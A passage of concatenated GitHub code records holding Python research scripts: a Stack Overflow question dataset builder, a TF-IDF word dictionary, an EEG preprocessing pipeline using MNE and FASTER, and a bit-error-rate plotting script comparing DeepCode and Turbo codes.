taskidentification.similarity import STOP_all_words, PUNCTUATION\nfrom utils.fileutils import get_qtitles, supervised_qtitles, get_questions, Tokenizer\n\n#python packages\nimport os\nimport csv\nimport pdb\nimport math\nimport json\nfrom pyquery import PyQuery\nfrom pymongo import MongoClient\nfrom pycorenlp import StanfordCoreNLP\n\nFINAL_SET = {}\n\nDATA_PATH = \"csvs/\"\n\n\nindex = {\n 'id': 0,\n 'title': 1,\n 'body': 2,\n 'tags': 3,\n 'score': 4,\n 'sims': 5,\n 'accepted_id': 6,\n}\n\n\ndef find_similars(item, all_items):\n\n sims = []\n\n one = item[index[\"title\"]]\n\n for i in range(len(all_items)):\n if not item == all_items[i]:\n two = all_items[i][index[\"title\"]]\n try:\n if shingling(one, two) > 0.6:\n sims.append(two[index[\"id\"]])\n except:\n continue\n # print()\n\n return sims\n\ndef connect():\n #connect to mogno server and get a db object\n client = MongoClient('localhost', 27017)\n db = client.librarytasks\n\n #get the collection object for venue names and info\n return db.tasks\n\n\ndef create_dataset():\n for filename in os.listdir(DATA_PATH):\n all_sims = set()\n\n if filename.endswith(\".csv\"):\n lib_name = filename.split(\".\")[0]\n print(\"Handling file {}.\".format(filename))\n\n with open(DATA_PATH + filename, \"r\") as file:\n\n reader = csv.reader(file)\n skip_first = False\n\n lib_questions = []\n for row in reader:\n if not skip_first:\n skip_first = True\n continue\n\n\n # new line in file\n lib_questions.append(row)\n\n print(\"Found {} items in the file. Sorting items.\".format(len(lib_questions)))\n\n lib_questions = sorted(lib_questions, key=lambda x: x[index[\"score\"]], reverse=True)\n lib_questions_top = lib_questions[:math.floor(len(lib_questions)/10)]\n print(\"Searching {} items for similar threads.\".format(len(lib_questions_top)))\n\n for item in lib_questions_top:\n sims = find_similars(item, lib_questions)\n item.append(sims)\n for sim in sims:\n all_sims.add(sim)\n\n for item in lib_questions_top:\n if not FINAL_SET.get(item[index[\"id\"]], None):\n FINAL_SET[item[index[\"id\"]]] = {\n 'type': 'top',\n 'title': item[index[\"title\"]],\n 'body': item[index[\"body\"]],\n 'tags': item[index[\"tags\"]],\n 'score': item[index[\"score\"]],\n 'sims': item[index[\"sims\"]],\n 'library': lib_name,\n 'accepted_id': item[index['accepted_id']]\n }\n\n for item in lib_questions:\n if item[index[\"id\"]] in all_sims:\n if not FINAL_SET.get(item[index[\"id\"]], None):\n FINAL_SET[item[index[\"id\"]]] = {\n 'type': 'sim',\n 'title': item[index[\"title\"]],\n 'body': item[index[\"body\"]],\n 'tags': item[index[\"tags\"]],\n 'score': item[index[\"score\"]],\n 'library': lib_name,\n 'accepted_id': item[index['accepted_id']]\n }\n\n\n print(\"Done. {} items in FINAL_SET.\".format(len(FINAL_SET)))\n file.close()\n\n with open(\"all_top.json\", \"w\") as file:\n file.write(json.dumps(FINAL_SET))\n\n pdb.set_trace()\n\n db = connect()\n\n for link, obj in FINAL_SET.items():\n if obj.get(\"type\", None) == \"top\":\n db.insert_one({\n \"link\": link,\n \"type\": obj[\"type\"],\n \"title\": obj[\"title\"],\n \"body\": obj[\"body\"],\n \"tags\": obj[\"tags\"],\n \"score\": obj[\"score\"],\n \"library\": obj[\"library\"],\n \"sims\": obj[\"sims\"],\n })\n else:\n db.insert_one({\n \"link\": link,\n \"type\": obj[\"type\"],\n \"title\": obj[\"title\"],\n \"body\": obj[\"body\"],\n \"tags\": obj[\"tags\"],\n \"score\": obj[\"score\"],\n \"library\": obj[\"library\"],\n })\n\n\nif __name__ == \"__main__\":\n create_dataset()","repo_name":"ualberta-smr/TaskOrientedDocumentation","sub_path":"build_database.py","file_name":"build_database.py","file_ext":"py","file_size_in_byte":4959,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"32732935888","text":"import pickle\nfrom math import log\nclass shared_dict(object):\n def __init__(self): \n self.WORD_IDX = {}\n self.INV_WORD_IDX = {}\n self.DF = {}\n self.count = 0 \n self.total_doc = 0 \n \n \n def add_word(self , word):\n if word in self.WORD_IDX: \n pass \n else:\n self.WORD_IDX[word] = self.count\n self.INV_WORD_IDX[self.count] = word\n self.count = self.count + 1\n \n def add_doc(self , doc):\n \n self.total_doc += 1\n word_exist = set()\n \n for word in doc:\n word_exist.add(word)\n self.add_word(word)\n for word in word_exist:\n idx = self.WORD_IDX[word]\n if idx in self.DF:\n self.DF[idx] += 1\n else:\n self.DF[idx] = 1\n def get_seq(self , word_list , TOPK = 30):\n seq = []\n TF = {}\n tf_idf = {}\n \n total_word = len(word_list)\n \n for word in word_list:\n idx = self.WORD_IDX[word]\n \n if idx in TF:\n TF[idx] += 1\n else:\n TF[idx] = 1\n \n for word in word_list:\n idx = self.WORD_IDX[word]\n tf_idf[idx] = (TF[idx] / total_word) * log( self.total_doc / (self.DF[idx]+1) )\n \n \n sorted_word = list(reversed(sorted(tf_idf.items() , key = lambda d : d[1])))\n \n keep_word = []\n \n for k,v in sorted_word:\n keep_word.append(k)\n\n if(len(sorted_word) > TOPK):\n keep_word = keep_word[:TOPK]\n \n return keep_word\n \n def save_dict(self):\n out_f = open('word_index.pickle','wb')\n \n pickle.dump(self.WORD_IDX , out_f)\n \n out_f.close()\n \n def load_dict(self):\n in_f = open('word_index.pickle','rb')\n self.WORD_IDX = pickle.load(in_f)\n in_f.close()\n\n for word , idx in self.WORD_IDX.items():\n self.INV_WORD_IDX[idx] = word\n \n","repo_name":"Nacujachu/DSFINAL","sub_path":"shared_dict.py","file_name":"shared_dict.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37736128617","text":"\"\"\"\n====================================\nEEG artifact correction using FASTER\n====================================\nModified script by Rakusen L.\n\nReferences\n----------\n[1] Nolan H., Whelan R. and Reilly RB. FASTER: fully automated\n statistical thresholding for EEG artifact rejection. Journal of\n Neuroscience Methods, vol. 192, issue 1, pp. 152-162, 2010.\n\"\"\"\nfrom pathlib import Path, PosixPath\nimport mne\nfrom mne import io\n# pip install https://github.com/wmvanvliet/mne-faster/archive/refs/heads/main.zip\nfrom mne_faster import (find_bad_channels, find_bad_epochs,\n find_bad_components, find_bad_channels_in_epochs)\nfrom utils.read_antcnt import read_raw_antcnt, read_events_trg\nimport numpy as np\nimport pickle\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom collections import Counter\nfrom datetime import datetime\nfrom typing import Union\nfrom utils.dialogue_box import dialogue_window\nimport sys\n\nsys.path.append('utils')\n\n\ndef resample_and_bandpass_raw(raw_fname, ref_channel, eog_channel, montage,\n sfreq=200, hfreq=40, lfreq=0.5, plotting=False, report=None):\n \"\"\"\n Loads raw EEG data from ANT CNT or other formats, bandpasses it, and saves a report with figures.\n Our data used EOG for blink detection, but had Vertical and Horizontal EOG mixed up sometimes.\n Loads the correct one and renames it VEOG.\n\n :param raw_fname: str or PosixPath\n :param ref_channel: str\n :param eog_channel:\n :param montage: DigMontage\n :param sfreq: int\n :param hfreq: float\n :param lfreq: float\n :param plotting: bool\n :param report: mne.Report object\n :return: RawANTCNT,\n \"\"\"\n event_fname = Path(raw_fname).with_suffix('.trg')\n assert raw_fname.exists()\n if raw_fname.suffix != '.cnt':\n raw = io.read_raw(str(raw_fname), preload=True)\n else:\n raw = read_raw_antcnt(str(raw_fname), preload=True, eog=[eog_channel])\n events = read_events_trg(event_fname)\n\n raw.info['bads'] = [] # bads are going to be detected automatically\n\n if eog_channel == 'VEOG':\n drop_eog_channel = 'HEOG'\n raw.drop_channels([drop_eog_channel])\n else:\n drop_eog_channel = 'VEOG'\n raw.drop_channels([drop_eog_channel])\n mne.rename_channels(raw.info, {'HEOG': 'VEOG'})\n\n # In this example, we restrict analysis to EEG channels only to save memory and\n # time. However, these methods also work for MEG data.\n raw = raw.pick_types(meg=False, eeg=True, eog=True)\n\n # Set montage\n raw.set_montage(montage)\n\n # Keep whatever EEG reference the amplifier used for now. After the data is\n # cleaned, we will re-reference to an average reference.\n raw, _ = mne.set_eeg_reference(raw, [ref_channel])\n\n report.add_raw(raw=raw, title='Raw before filtering')\n picks = mne.pick_types(raw.info, eeg=True, eog=True)\n raw.filter(l_freq=lfreq, h_freq=hfreq, method='iir', picks=picks)\n\n # resample to 200hz\n raw, events = raw.resample(sfreq=sfreq, events=events)\n\n if plotting:\n raw.plot_sensors(show_names=True, block=False)\n raw.plot(events=events, order=picks, n_channels=len(picks), block=False)\n\n # Get reference electrode index\n ref = mne.pick_channels(raw.info['ch_names'], [ref_channel])[0]\n # Apply reference electrode coordinates to other electrodes ref coords\n for ch in picks:\n raw.info['chs'][ch]['loc'][3:6] = raw.info['chs'][ref]['loc'][:3]\n\n # convert meas_date (a tuple of seconds, microseconds) into a float:\n meas_date = raw.info['meas_date']\n orig_time = raw.annotations.orig_time\n assert meas_date == orig_time\n\n report.add_raw(raw=raw, title='Raw after filtering')\n return raw, events, picks, report\n\n\ndef preprocess_with_faster(raw, events, event_ids, picks, tmin=-0.5, bmax=0, tmax=1, plotting=False,\n report=None):\n \"\"\"\n Use FASTER Protocol to interpolate noisy channels on epoch by epoch basis.\n https://github.com/wmvanvliet/mne-faster\n\n @param raw: Raw EEG mne object\n @param events: array of events\n @param event_ids: string ids of events\n @param picks: selected channels to preprocess\n @param tmin: epoch baseline start time before time 0\n @param bmax: end of baseline\n @param tmax: end of epoch\n @param plotting: show evoked before and after plots - mostly handled by report now\n @param report: mne object for html output report\n @return: epochs, evoked_before, evoked_after, logdict, report\n \"\"\"\n plt.close('all')\n logdict = {}\n event_repeated = 'merge'\n print(type(raw))\n # Construct epochs. Note that we also include EOG channels.\n epochs = mne.Epochs(raw, events, event_ids, tmin, tmax, baseline=None,\n preload=True, picks=picks, event_repeated=event_repeated, on_missing='warn')\n # Compute evoked before cleaning, using an average EEG reference\n epochs_before = epochs.copy()\n epochs_before.set_eeg_reference('average')\n # set baseline from start of epoch to before event happens\n baseline = (None, bmax)\n epochs_before.apply_baseline(baseline)\n if report:\n report.add_epochs(epochs=epochs_before, title='Epochs before FASTER')\n\n evoked_before = epochs_before.average()\n if plotting:\n evoked_before.plot()\n\n ###############################################################################\n # Clean the data using FASTER\n # epochs = run_faster(epochs, thres=3, copy=False)\n print('# Clean the data using FASTER')\n epochs_before.set_eeg_reference('average')\n # Step 1: mark bad channels\n print('# Step 1: mark bad channels')\n epochs.info['bads'] = find_bad_channels(epochs, eeg_ref_corr=True)\n\n logdict['interpolated_channels'] = len(epochs.info['bads'])\n if len(epochs.info['bads']) > 0:\n epochs.interpolate_bads()\n\n try:\n print(\"Step 5: Find and interpolate dead channels that FASTER misses\")\n epochs.set_eeg_reference('average')\n epochs, bads = find_dead_channels(epochs, plot=plotting)\n logdict['Extra Interpolated Channels'] = bads\n # epochs.set_eeg_reference(['Cz'])\n except ValueError:\n print(\"Couldn't run psd_array_welch. Debugging needed.\")\n\n # Step 2: mark bad epochs\n print('# Step 2: mark bad epochs')\n logdict['epochs_before'] = get_event_counts(epochs)\n bad_epochs = find_bad_epochs(epochs)\n\n if len(bad_epochs) > 0:\n epochs.drop(bad_epochs)\n logdict['epochs_after'] = get_event_counts(epochs)\n logdict['num_bad_epochs'] = len(bad_epochs)\n\n # Step 3: mark bad ICA components (using the build-in MNE functionality for this)\n print('# Step 3: mark bad ICA components (using the build-in MNE functionality for this)')\n ica = mne.preprocessing.ICA(0.99).fit(epochs)\n ica.exclude = find_bad_components(ica, epochs)\n\n logdict['rejected ica components'] = len(ica.exclude)\n ica.apply(epochs)\n # Need to re-baseline data after ICA transformation\n epochs.apply_baseline(epochs.baseline)\n\n # Step 4: mark bad channels for each epoch and interpolate them.\n print('# Step 4: mark bad channels for each epoch and interpolate them.')\n bad_channels_per_epoch = find_bad_channels_in_epochs(epochs, eeg_ref_corr=True)\n for i, b in enumerate(bad_channels_per_epoch):\n if len(b) > 0:\n ep = epochs[i]\n ep.info['bads'] = b\n ep.interpolate_bads()\n epochs._data[i, :, :] = ep._data[0, :, :]\n\n # Compute evoked after cleaning, using an average EEG reference\n # Second filtering to catch any high frequency electrical noise\n # fir works better here for catching 50 Hz electrical noise\n epochs.filter(l_freq=None, h_freq=40, method='fir',\n picks=mne.pick_types(epochs.info, eeg=True, eog=True)) # , h_trans_bandwidth=9)\n\n epochs.set_eeg_reference('average')\n epochs.apply_baseline(baseline)\n if report:\n report.add_epochs(epochs=epochs, title='Epochs after FASTER')\n evoked_after = epochs.average()\n if report:\n report.add_evokeds(evokeds=[evoked_before, evoked_after],\n titles=['Evoked before FASTER', 'Evoked after FASTER'])\n\n ##############################################################################\n if plotting:\n evoked_after.plot()\n epochs.plot_psd(fmin=2, fmax=100)\n\n return epochs, evoked_before, evoked_after, logdict, report\n\n\ndef get_event_counts(epochs):\n \"\"\"\n Counts all events in an epoch object.\n\n @param epochs: MNE epochs object\n @return: dictionary with event counts by event ids.\n \"\"\"\n ids = {event: event_id for event_id, event in epochs.event_id.items()}\n events = [ids[e[2]] for e in epochs.events]\n event_counts = dict(Counter(events))\n return event_counts\n\n\ndef add_to_log_csv(logdict, output_path):\n \"\"\"\n Not used currently. Superseded by mne.Report()\n\n Takes log dictionary from preprocess_with_faster and saves it to a csv.\n If csv already exists append a row.\n Participant already in dict, overwrite their row with the new one.\n\n @param logdict: dictionary with header as key and values as list of rows.\n @param output_path: path to preprocessing log file\n \"\"\"\n log_path = Path(output_path, 'preprocessing_log.csv')\n logdict['data'] = str(datetime.now()).split('.')[0]\n df = pd.DataFrame([logdict])\n if not log_path.exists():\n df.to_csv(log_path, index=False)\n else:\n df = pd.read_csv(log_path)\n for idx, df_row in df.iterrows():\n if logdict['pid'] == df_row['pid']:\n df.loc[idx] = pd.Series(logdict)\n break\n else:\n df = df.append(pd.Series(logdict), ignore_index=True)\n df.to_csv(log_path, index=False)\n\n\ndef find_dead_channels(epochs, plot, deviations=3):\n \"\"\"\n Occasionally FASTER can miss some completely dead channels as they look like the inverse of the reference channel.\n This function identifies them and interpolates them.\n\n @param epochs: MNE epochs object\n @param plot: show bar plot of channel powers\n @param deviations: How many deviations the channel should be from the mean before being marked as bad\n @return: epochs object with updated bads attribute and list of bads\n \"\"\"\n data = epochs.get_data()\n data = np.mean(data, axis=0)\n # Power Spectral Density using Welch's method\n psds, freqs = mne.time_frequency.psd_array_welch(x=data, sfreq=200)\n # Get average power for each channel\n ch_means = np.mean(psds, axis=1)\n # These values are really tiny. Change to log scale so we can see a difference\n ch_means = np.log(ch_means)\n # Assign power to channel names\n d = {ch: z for z, ch in zip(ch_means, epochs.ch_names)}\n if plot:\n plt.bar(*zip(*d.items()))\n plt.show()\n # Get grand mean and standard deviation\n M = np.mean(ch_means)\n std = np.std(ch_means)\n # If power is more than 3 deviations away from semi-uniform distribution: mark as bad\n bads = [key for key, val in d.items() if val < (M - (deviations * std)) or val > (M + (deviations * std))]\n if 'VEOG' in bads:\n bads.remove('VEOG')\n print(bads)\n # Add all bads to info and interpolate them.\n for bad in bads:\n epochs.info['bads'].append(bad)\n epochs.interpolate_bads()\n return epochs, bads\n\n\nclass EEG_Participant:\n \"\"\"\n Defines participant object that contains all the information needed for preprocessing an individual's data.\n This information is then used to filter the raw recording and then preprocess with FASTER.\n The epochs object can then be used for further analysis.\n\n @param pid: The participants string identifier and name of recording data files.\n @param ppt_num: The participant's integer identifier e.g 1.\n @param data_path: The path to directory containing participant raw data (eeg, triggers, extra triggers)\n @param ref_channel: The channel acting as the reference electrode.\n @param EOG_channel: The name of the EOG channel used for blink detection.\n @param event_ids: The basic trigger values and their labels in the raw data.\n Any triggers and associated data not listed will be dropped at the preprocess_RAW stage.\n @param montage: The montage object used to map the electrodes in 3d space.\n @param status: meta info about the participant's progress through preprocessing e.g 'raw_filtered'\n @param output_path: The location of the preprocessing database where all the outputs end up.\n \"\"\"\n\n def __init__(self, pid: str, ppt_num: int, data_path: Union[str, PosixPath], data_format: str, ref_channel: str,\n EOG_channel: str, event_ids: dict, montage: mne.channels.DigMontage, status: str,\n output_path: Union[str, PosixPath]):\n \"\"\"\n Initialises participant object\n \"\"\"\n self.status = status\n self.pid = pid\n self.raw_fname = Path(data_path, pid).with_suffix(data_format)\n self.filename = Path(output_path, pid).with_suffix('.pickle')\n self.ppt_num = ppt_num\n self.data_path = data_path\n self.montage = montage\n self.EOG_channel = EOG_channel\n self.ref_channel = ref_channel\n self.event_ids = event_ids\n self.report = mne.Report(title=pid)\n self.picks = None\n self.events = None\n self.RAW = None\n self.epochs = None\n self.evoked_before = None\n self.evoked_after = None\n\n def read_RAW(self, sfreq=200, hfreq=40, lfreq=0.5, plotting=False):\n \"\"\"\n Uses the ANT .cnt file reader to read raw eeg data. Needs modifying to take other data formats.\n Then filters and resamples data.\n\n @param sfreq: Resampling frequency\n @param hfreq: lowpass filter frequency.\n @param lfreq: highpass filter frequency.\n @param plotting: show plots or not\n \"\"\"\n self.RAW, self.events, self.picks, self.report = resample_and_bandpass_raw(\n raw_fname=self.raw_fname,\n ref_channel=self.ref_channel,\n eog_channel=self.EOG_channel,\n montage=self.montage,\n plotting=plotting,\n report=self.report,\n sfreq=sfreq, hfreq=hfreq, lfreq=lfreq,\n )\n\n def preprocess_RAW(self, tmin, bmax, tmax, plotting=False):\n \"\"\"\n Splits bandpassed and resampled data into epochs and applies the FASTER protocol to them.\n Also clears previous information from the report if we've preprocessed this participant before\n\n Parameters\n ----------\n tmin : float\n Starting time for epoch and baseline in seconds. Should be negative, as 0 is the event time.\n bmax : float\n The end of the baseline. Usually 0 unless there is a time period before the event you need to avoid\n including in the baseline.\n tmax : float\n The end time for the epoch.\n plotting : bool\n \"\"\"\n # Todo remove everything that doesn't have the RAW tag instead\n for element in ['Time course (EEG)', 'Topographies', 'Global field power']:\n self.report.remove(title=element, tags=('evoked',), remove_all=True)\n for element in ['Info', 'ERP image (EEG)', 'Drop log', 'PSD']:\n self.report.remove(title=element, tags=('epochs',), remove_all=True)\n\n self.epochs, self.evoked_before, self.evoked_after, _, self.report = preprocess_with_faster(self.RAW,\n self.events,\n self.event_ids,\n self.picks,\n tmin=tmin,\n bmax=bmax,\n tmax=tmax,\n plotting=plotting,\n report=self.report)\n self.status = 'raw_filtered'\n\n def replace_events(self, event_file, keep_original_events=False):\n \"\"\"\n Adds new annotations and events to RAW data from custom events file, usually based on behavioural data.\n\n Parameters\n ----------\n event_file : str\n Must be a csv with three columns: label, start, end\n Multiple labels can be assigned to the same trigger time by separating the label names with '/'.\n start is the start time of the trigger in ms.\n All values in end should be 0\n keep_original_events : bool\n If false original triggers will be replaced with the new ones.\n \"\"\"\n df = pd.read_csv(event_file, names=['label', 'start', 'end'])\n my_annot = mne.Annotations(onset=df['start'], duration=df['end'], description=df['label'])\n self.RAW.set_annotations(my_annot)\n if keep_original_events:\n annot_from_events = mne.annotations_from_events(events=self.events,\n event_desc={val: key for key, val in\n self.event_ids.items()},\n sfreq=self.RAW.info['sfreq'],\n orig_time=self.RAW.info['meas_date'])\n self.RAW.annotations.__add__(annot_from_events)\n self.events, self.event_ids = mne.events_from_annotations(self.RAW)\n\n def save(self, make_report=True):\n \"\"\"Save Participant object as .pickle.\n\n Parameters\n ----------\n make_report : bool\n Choose to save separate html report file at the same time.\n \"\"\"\n with open(self.filename, 'wb') as f:\n pickle.dump(self, f)\n if make_report:\n self.save_report()\n\n def save_fif(self, make_report=True):\n \"\"\"\n Save epoched data as fif.\n\n Parameters\n ----------\n make_report : bool\n Choose to save separate html report file at the same time.\n \"\"\"\n try:\n self.epochs.save(self.filename.with_suffix('.epo.fif'), overwrite=True)\n except AssertionError:\n # For some reason WRITABLE being true trips an assertion error when writing to fif\n self.epochs.times.flags['WRITEABLE'] = False\n self.epochs.save(self.filename.with_suffix('.epo.fif'), overwrite=True)\n\n if make_report:\n self.save_report()\n\n @classmethod\n def load(cls, filename):\n \"\"\"\n Load Participant object.\n\n Parameters\n ----------\n filename : str or PosixPath\n \"\"\"\n with open(filename, 'rb') as f:\n # print('loading from pickle...')\n return pickle.load(f)\n\n def get_epochs(self, by_events=''):\n \"\"\"\n mne.Epochs object getter.\n\n @param by_events: str\n Events to select epochs in epochs object by. Can be multiple events if they're separated by '/'.\n @return: mne.Epochs object\n \"\"\"\n return self.epochs[by_events]\n\n def save_report(self):\n \"\"\"\n Export mne report object to html file\n \"\"\"\n self.report.save(self.filename.with_suffix('.html'), overwrite=True, open_browser=False)\n\n\nclass EEG_Experiment:\n \"\"\"\n Class for loading and preprocessing multiple data files at once. Stores them as EEG_Participant objects.\n\n @param exp_filepath: path to participant list csv file with following header:\n ppt_num, data_path, extra_events_path, pid, EOG_channel, status, ref_channel, raw_format\n @param output_path: path to a preprocessing output directory\n @param event_ids: dictionary of event ids and trigger values.\n @param montage: EEG montage object\n \"\"\"\n\n def __init__(self, exp_filepath, output_path, event_ids, montage):\n \"\"\"\n :type exp_filepath: str or PosixPath\n :type output_path: str or PosixPath\n :type event_ids: dict\n :type montage: DigMontage\n \"\"\"\n self.exp_file = pd.read_csv(exp_filepath)\n self.output_path = output_path\n self.event_ids = event_ids\n self.montage = montage\n self.participants = []\n\n for idx, row in self.exp_file.iterrows():\n self.participants.append(\n EEG_Participant(pid=row.pid, ppt_num=row.ppt_num, data_path=row.data_path, data_format=row.raw_format,\n ref_channel=row.ref_channel,\n EOG_channel=row.EOG_channel, event_ids=self.event_ids, montage=self.montage,\n status=row.status, output_path=output_path))\n\n def read_RAWs(self, sfreq=200, hfreq=40, lfreq=0.5, plotting=False, skip_existing=True):\n \"\"\"\n Read multiple raw eeg files. Skip existing raw filtered files, and save report with pre and post filtering plots\n\n @param sfreq: sample rate\n @param hfreq: high frequency stop\n @param lfreq: low frequency stop\n @param plotting: Run with or without pausing to plot data\n @param skip_existing: If participant already has filtered or epoched data skip\n \"\"\"\n for participant in self.participants:\n if skip_existing is True:\n if participant.status == 'raw_filtered' or participant.status == 'epoched':\n print(f'{participant.pid} raw data already filtered. Skipping')\n continue\n participant.read_RAW(sfreq, hfreq, lfreq, plotting)\n participant.save(make_report=True)\n # Clear RAW from memory otherwise we might run out if we load a lot of participants\n del participant.RAW\n\n def preprocess_RAWs(self, tmin, bmax, tmax, additional_events_fname=None, plotting=False, skip_existing=True,\n export_fif=False):\n \"\"\"\n Runs multiple raw eeg participants through FASTER pipeline,\n replaces events with new ones, and pickles participant object.\n\n @param tmin: epoch baseline start time before time 0\n @param bmax: end of baseline\n @param tmax: end of epoch\n @param additional_events_fname: Name of all custom events files.\n Ignored when filename is specified for individuals in self.exp_file\n @param plotting: show evoked before and after plots - mostly handled by report now\n @param skip_existing: If preprocessing already complete skip participant\n @param export_fif:\n \"\"\"\n for participant in self.participants:\n if participant.status == '':\n print(f'{participant.pid} raw data not filtered. Skipping')\n continue\n elif participant.status == 'epoched' and skip_existing is True:\n print(f'{participant.pid} epoch data already exists. Skipping')\n continue\n\n new_data_path = participant.data_path\n new_filename = Path(self.output_path, participant.pid).with_suffix('.pickle')\n participant = participant.load(new_filename)\n participant.data_path = new_data_path\n participant.filename = new_filename\n\n if participant.epochs is not None and skip_existing is True and participant.status == 'epoched':\n print(f'{participant.pid} epoch data already exists. Skipping')\n continue\n\n if 'extra_events_path' in self.exp_file.columns:\n additional_events_fname = \\\n self.exp_file[self.exp_file['pid'] == participant.pid]['extra_events_path'].values[0]\n participant.replace_events(Path(additional_events_fname))\n elif additional_events_fname is not None:\n participant.replace_events(Path(participant.data_path, additional_events_fname).with_suffix('.csv'))\n\n participant.preprocess_RAW(tmin, bmax, tmax, plotting)\n\n if export_fif:\n participant.save_fif()\n else:\n participant.save()\n\n # Clear RAW from memory otherwise we might run out if we load a lot of participants\n del participant.RAW\n\n\ndef run_with_UI():\n \"\"\"\n Run preprocessor over experiment_participant_list csv,\n building EEG_Experiment object and outputting preprocessed eeg data.\n \"\"\"\n box = dialogue_window(title='Preprocessing Setup',\n default_plist='/Volumes/psgroups/AttentionPerceptionLab/AttentionPerceptionLabStudent/UNDERGRADUATE PROJECTS/EEG MVPA Project/data/Radiologists/experiment_participant_list.csv',\n default_output='/Volumes/psgroups/AttentionPerceptionLab/AttentionPerceptionLabStudent/UNDERGRADUATE PROJECTS/EEG MVPA Project/data/Radiologists/output',\n default_trg_labels='/Volumes/psgroups/AttentionPerceptionLab/AttentionPerceptionLabStudent/UNDERGRADUATE PROJECTS/EEG MVPA Project/data/Radiologists/experiment_trigger_labels.csv')\n box.show()\n settings = box.get_output()\n print(settings)\n assert settings['Output DB:'].exists()\n\n ANTwave64 = mne.channels.read_custom_montage(fname=Path('montages', 'waveguard64_rescaled_small.xyz'),\n coord_frame=\"unknown\")\n # The basic trigger values and their labels in each recording.\n trigger_df = pd.read_csv(settings['Trigger labels:'])\n event_ids = {row['label']: row['value'] for idx, row in trigger_df.iterrows() if row['active'] == 1}\n\n study = EEG_Experiment(exp_filepath=settings['Participant List File:'],\n output_path=settings['Output DB:'],\n event_ids=event_ids,\n montage=ANTwave64)\n\n if settings['Filter raw']:\n study.read_RAWs(skip_existing=settings['skip existing'])\n\n study.preprocess_RAWs(tmin=settings['tmin'], bmax=settings['bmax'], tmax=settings['tmax'],\n additional_events_fname=settings['additional_events_fname'],\n plotting=settings['plotting'],\n skip_existing=settings['skip existing'],\n export_fif=True)\n\n\nif '__main__' in __name__:\n run_with_UI()\n # e = EEG_Participant.load(\n # '/Volumes/psgroups/AttentionPerceptionLabStudent/UNDERGRADUATE PROJECTS/EEG MVPA Project/output/EEGTraining_Rad1.pickle')\n # e.save_fif(make_report=False)\n # default_plist = '/Users/llr510/PycharmProjects/EEGpykit/experiments/e1/experiment_participant_list_dots.csv'\n # default_output = '/Volumes/psgroups/AttentionPerceptionLabStudent/PROJECTS/EEG-ATTENTIONAL BLINK/MNE_preprocessing_db'\n # default_trg_labels = '/Users/llr510/PycharmProjects/EEGpykit/experiments/e1/experiment_trigger_labels.csv'\n","repo_name":"llr510/EEGpykit","sub_path":"preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":27272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"10008501768","text":"__author__ = 'yihanjiang'\nimport math\n# Yihan's result on Turbo Code\n# Turbo Code rate 1/3, block length 50.\n\ndef snr_db2sigma(train_snr):\n return 10**(-train_snr*1.0/20)\n\ndef snr_sigma2db(train_sigma):\n # print(train_sigma)\n return -20.0 * math.log(train_sigma, 10)\n\n\ndef convert_snr_to_ebno(this_input, coderate = 3.0):\n this_output = snr_sigma2db(snr_db2sigma(this_input)/math.sqrt(coderate))\n return this_output\n\n\n\n\nturbo_SNR = [-2,-1,0,1,2, 3, 4]\nturbo_Ebno = [convert_snr_to_ebno(item) for item in turbo_SNR]\n\nturbo_ber = [9.87690000e-02, 3.89852000e-02, 8.17980000e-03, 8.04200000e-04, 2.56000000e-05, 2.64e-06, 4.8e-07]\n\n\n# Turbo Code rate 1/3 block length 1000\nt6_snr = [-1.5, -1.0, -0.5, 0.0,\n 0.5, 1.0, 1.5, 2.0,\n 2.5, 3.0, 3.5, 4.0]\n\nt6_Ebno = [convert_snr_to_ebno(item) for item in t6_snr]\n\nturbo757_bl1000_i6_ber = [0.02843181, 0.00209208, 0.00010128, 2.224e-05,\n 7.15e-06, 2.52e-06, 1.03e-06, 3.6e-07,\n 1.8e-07, 4.3e-08, 1.4e-08, 0.0]\n\n\n# Hyeji's results: clean feedback channel (machine precision)\n# DeepCode, rate 1/3, block length 50.\nbest_deepcode_SNR = [-2,-1, 0,1,2]\nbest_deepcode_Ebno = [convert_snr_to_ebno(item, coderate=3.0) for item in best_deepcode_SNR]\nbest_deepcode_ber = [ 0.0090905,0.0001296,1.99999999995e-06,9.99999999474e-08,3.99999999789e-08]\n\n\n\nuncoded_rate2_snr = [0.0, 2.0, 4.0, 6.0]\nuncoded_rate2_Ebno = [convert_snr_to_ebno(item, coderate=2.0) for item in uncoded_rate2_snr ]\n# soft message.\nuncoded_rate2_ber = [0.07837, 0.03751, 0.01258, 0.00256]\n# hard message.\n\nuncoded_rate2_ber = [0.0775, 0.0377, 0.0108, 0.0025]\n\nconv_ble_rate2_snr = [0.0, 2.0, 4.0, 6.0]\nconv_ble_rate2_Ebno = [convert_snr_to_ebno(item, coderate=2.0) for item in conv_ble_rate2_snr ]\nconv_ble_rate2_ber = [0.106282, 0.014013, 0.0004104, 3.4e-06]\n\n\nconv_ble_rate8_snr = [ -6.0, -4.0, -2.0, 0.0]\nconv_ble_rate8_Ebno = [convert_snr_to_ebno(item, coderate=8.0) for item in conv_ble_rate8_snr ]\n#conv_ble_rate8_ber =[ 0.11145, 0.0140, 0.000419, 3e-06]\nconv_ble_rate8_ber =[0.21538, 0.07935, 0.01048, 0.0003]\n\n\n\n\nprint(conv_ble_rate2_Ebno)\nprint(conv_ble_rate8_Ebno)\n\nimport matplotlib.pylab as plt\n\nshannon_limit_SNR = -11.70\nshannon_limit_EbN0 = -1.59\n\n# plt.figure(1)\n# plt.title('DeepCode vs Turbo')\n# plt.yscale('log')\n# plt.xlabel('SNR')\n# plt.ylabel('BER')\n#\n# b1 = plt.axvline(x=shannon_limit_SNR, label = 'Shannon Limit')\n# h1, = plt.plot(turbo_SNR, turbo_ber, 'b-',linewidth=3, label = 'Turbo Code: block length 50')\n# #h2, = plt.plot(t6_snr, turbo757_bl1000_i6_ber, 'g-',linewidth=2, label = 'Turbo Code: block length 1000')\n#\n# h3, = plt.plot(best_deepcode_SNR, best_deepcode_ber,'k-x', linewidth=3, label = 'DeepCode: block length 50')\n#\n#\n#\n# plt.legend(handles = [b1, h1, h3])\n# plt.grid()\n\n\nplt.figure(2)\nplt.title('DeepCode vs FEC, block length 